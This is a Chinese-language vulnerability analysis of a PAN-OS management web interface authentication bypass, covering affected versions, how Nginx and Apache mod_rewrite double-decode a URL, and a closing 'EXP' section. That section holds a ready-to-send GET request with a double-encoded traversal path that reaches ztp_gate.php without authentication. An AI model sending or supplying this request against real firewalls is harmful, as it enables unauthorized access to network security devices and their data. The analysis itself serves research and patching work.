漏洞描述
Palo Alto Networks
PAN-OS
软件中的身份验证绕过功能使具有管理 Web
界面网络访问权限的未经身份验证的攻击者能够绕过 PAN-OS
管理 Web
界面所需的身份验证并调用某些 PHP
脚本。虽然调用这些 PHP
脚本不会启用远程代码执行,但它可能会对 PAN-OS
的完整性和机密性产生负面影响。
影响范围
Versions | Affected | Unaffected |
---|---|---|
Cloud NGFW | None | All |
PAN-OS 11.2 | < 11.2.4-h4 | >= 11.2.4-h4 |
PAN-OS 11.1 | < 11.1.2-h18 < 11.1.6-h1 |
>= 11.1.2-h18 >= 11.1.6-h1 |
PAN-OS 10.2 | < 10.2.7-h24 < 10.2.8-h21 < 10.2.9-h21 < 10.2.10-h14 < 10.2.11-h12 < 10.2.12-h6 < 10.2.13-h3 |
>= 10.2.7-h24 >= 10.2.8-h21 >= 10.2.9-h21 >= 10.2.10-h14 >= 10.2.11-h12 >= 10.2.12-h6 >= 10.2.13-h3 |
PAN-OS 10.1 | < 10.1.14-h9 | >= 10.1.14-h9 |
Prisma Access | None | All |
漏洞分析
通过对CVE-2024-0012
的分析,已知访问下面路由不需要鉴权
1 | if ($uri ~ ^\/unauth\/.+$) { |
如果我们传递 /unauth/xxx
,我们将会设置 X-pan-AuthCheck: off
,这表示下游组件不需要进行认证。
然后,请求会被代理到 Apache
。Apache
会重新规范化并重新处理该请求,如果匹配的话,还会应用重写规则:
1 | [root@PA-VM /]# cat ./etc/httpd/mgmtui/conf/httpd.conf |
Apache
默认对URL
解码一次,然后Apache
的mod_rewrite
模块中重写机制,由于mod_rewrite
重写URL
时,会触发一次内部重定向,内部重定向时会对URL
进行二次解码,那么当我们访问
1 | 252e%252e/php/ztp_gate.php/PAN_help/x.css |
Apache
默认URL
解码:
1 | 2e%2e/php/ztp_gate.php/PAN_help/x.css |
mod_rewrite
模块重写机制解码:
1 | /unauth/../php/ztp_gate.php/PAN_help/x.css |
最后重定向到
1 | /php/ztp_gate.php/PAN_help/x.css |
最后,Apache
的mod_php
模块处理请求,路径为 SCRIPT_FILENAME=/php/ztp_gate.php
,后面有一些路径信息 (PATH_INFO=/PAN_help/x.css.gz
),因此它会执行 /php/ztp_gate.php
。由于 X-pan-AuthCheck
头已经被 Nginx
设置为 off
,因此不需要进行认证!
EXP
1 | GET /unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css HTTP/1.1 |
参考链接
https://slcyber.io/blog/nginx-apache-path-confusion-to-auth-bypass-in-pan-os/